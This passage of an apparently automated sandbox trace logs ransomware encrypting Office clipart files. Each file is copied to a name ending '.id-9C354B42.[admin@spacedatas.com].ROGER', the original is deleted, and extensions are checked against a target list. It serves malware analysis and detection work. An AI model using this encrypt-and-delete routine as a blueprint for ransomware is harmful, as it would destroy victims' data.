lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.714] GetLastError () returned 0x0 [0061.714] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0061.715] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0061.716] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.716] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.716] SetEndOfFile (hFile=0x334) returned 1 [0061.717] CloseHandle (hObject=0x334) returned 1 [0061.717] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.717] SetEndOfFile (hFile=0x3f8) returned 1 [0061.718] CloseHandle (hObject=0x3f8) returned 1 [0061.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0061.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.718] lstrlenW (lpString=".doc") returned 4 [0061.718] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.718] lstrlenW (lpString=".docx") returned 5 [0061.718] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.718] lstrlenW (lpString=".pdf") returned 4 [0061.718] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.718] lstrlenW (lpString=".xls") returned 4 [0061.718] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.718] lstrlenW (lpString=".xlsx") returned 5 [0061.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.718] lstrlenW (lpString=".ppt") returned 4 [0061.718] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.718] lstrlenW (lpString=".zip") returned 4 [0061.718] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString=".rar") returned 4 [0061.719] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString=".bz2") returned 4 [0061.719] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.719] lstrlenW (lpString=".7z") returned 3 [0061.719] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.719] lstrlenW (lpString=".dbf") returned 4 [0061.719] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.719] lstrlenW (lpString=".1cd") returned 4 [0061.719] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.719] lstrlenW (lpString=".jpg") returned 4 [0061.719] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.719] lstrlenW (lpString=".doc") returned 4 [0061.719] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.719] lstrlenW (lpString=".docx") returned 5 [0061.719] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.719] lstrlenW (lpString=".pdf") returned 4 [0061.719] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString=".xls") returned 4 [0061.719] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString=".xlsx") returned 5 [0061.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.719] lstrlenW (lpString=".ppt") returned 4 [0061.719] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.719] lstrlenW (lpString=".zip") returned 4 [0061.719] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString=".rar") returned 4 [0061.719] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.719] lstrlenW (lpString=".bz2") returned 4 [0061.720] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.720] lstrlenW (lpString=".7z") returned 3 [0061.720] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.720] lstrlenW (lpString=".dbf") returned 4 [0061.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.720] lstrlenW (lpString=".1cd") returned 4 [0061.720] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0061.720] lstrlenW (lpString=".jpg") returned 4 [0061.720] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.720] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.720] lstrlenW (lpString="BD19695_.WMF") returned 12 [0061.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.720] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=12982) returned 1 [0061.720] CloseHandle (hObject=0x3f8) returned 1 [0061.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0061.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.721] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.721] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.721] GetLastError () returned 0x0 [0061.721] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0061.918] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0061.941] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.942] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.942] SetEndOfFile (hFile=0x334) returned 1 [0061.942] CloseHandle (hObject=0x334) returned 1 [0061.942] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.942] SetEndOfFile (hFile=0x3f8) returned 1 [0061.943] CloseHandle (hObject=0x3f8) returned 1 [0061.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0061.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.943] lstrlenW (lpString=".doc") returned 4 [0061.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.943] lstrlenW (lpString=".docx") returned 5 [0061.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.943] lstrlenW (lpString=".pdf") returned 4 [0061.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString=".xls") returned 4 [0061.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.944] lstrlenW (lpString=".xlsx") returned 5 [0061.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.944] lstrlenW (lpString=".ppt") returned 4 [0061.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.944] lstrlenW (lpString=".zip") returned 4 [0061.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.944] lstrlenW (lpString=".rar") returned 4 [0061.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString=".bz2") returned 4 [0061.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString=".7z") returned 3 [0061.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.944] lstrlenW (lpString=".dbf") returned 4 [0061.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.944] lstrlenW (lpString=".1cd") returned 4 [0061.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.944] lstrlenW (lpString=".jpg") returned 4 [0061.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.944] lstrlenW (lpString=".doc") returned 4 [0061.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString=".docx") returned 5 [0061.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.944] lstrlenW (lpString=".pdf") returned 4 [0061.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.944] lstrlenW (lpString=".xls") returned 4 [0061.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.944] lstrlenW (lpString=".xlsx") returned 5 [0061.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.945] lstrlenW (lpString=".ppt") returned 4 [0061.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.945] lstrlenW (lpString=".zip") returned 4 [0061.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.945] lstrlenW (lpString=".rar") returned 4 [0061.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.945] lstrlenW (lpString=".bz2") returned 4 [0061.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.945] lstrlenW (lpString=".7z") returned 3 [0061.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.945] lstrlenW (lpString=".dbf") returned 4 [0061.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.945] lstrlenW (lpString=".1cd") returned 4 [0061.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0061.945] lstrlenW (lpString=".jpg") returned 4 [0061.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.945] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.945] lstrlenW (lpString="BL00152_.WMF") returned 12 [0061.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.946] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1516) returned 1 [0061.946] CloseHandle (hObject=0x3f8) returned 1 [0061.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0061.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.946] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.946] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.946] GetLastError () returned 0x0 [0061.946] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0061.948] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0061.948] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.949] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.949] SetEndOfFile (hFile=0x334) returned 1 [0061.949] CloseHandle (hObject=0x334) returned 1 [0061.949] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.949] SetEndOfFile (hFile=0x3f8) returned 1 [0061.950] CloseHandle (hObject=0x3f8) returned 1 [0061.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0061.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.950] lstrlenW (lpString=".doc") returned 4 [0061.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.950] lstrlenW (lpString=".docx") returned 5 [0061.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.950] lstrlenW (lpString=".pdf") returned 4 [0061.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.950] lstrlenW (lpString=".xls") returned 4 [0061.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.950] lstrlenW (lpString=".xlsx") returned 5 [0061.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.950] lstrlenW (lpString=".ppt") returned 4 [0061.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.950] lstrlenW (lpString=".zip") returned 4 [0061.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.951] lstrlenW (lpString=".rar") returned 4 [0061.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString=".bz2") returned 4 [0061.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString=".7z") returned 3 [0061.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.951] lstrlenW (lpString=".dbf") returned 4 [0061.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.951] lstrlenW (lpString=".1cd") returned 4 [0061.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.951] lstrlenW (lpString=".jpg") returned 4 [0061.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.951] lstrlenW (lpString=".doc") returned 4 [0061.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString=".docx") returned 5 [0061.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.951] lstrlenW (lpString=".pdf") returned 4 [0061.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString=".xls") returned 4 [0061.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.951] lstrlenW (lpString=".xlsx") returned 5 [0061.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.951] lstrlenW (lpString=".ppt") returned 4 [0061.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.951] lstrlenW (lpString=".zip") returned 4 [0061.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.951] lstrlenW (lpString=".rar") returned 4 [0061.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.952] lstrlenW (lpString=".bz2") returned 4 [0061.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.952] lstrlenW (lpString=".7z") returned 3 [0061.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.952] lstrlenW (lpString=".dbf") returned 4 [0061.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.952] lstrlenW (lpString=".1cd") returned 4 [0061.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0061.952] lstrlenW (lpString=".jpg") returned 4 [0061.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.952] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.952] lstrlenW (lpString="BL00194_.WMF") returned 12 [0061.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.952] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=3986) returned 1 [0061.952] CloseHandle (hObject=0x3f8) returned 1 [0061.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0061.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.953] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.953] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.953] GetLastError () returned 0x0 [0061.953] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, 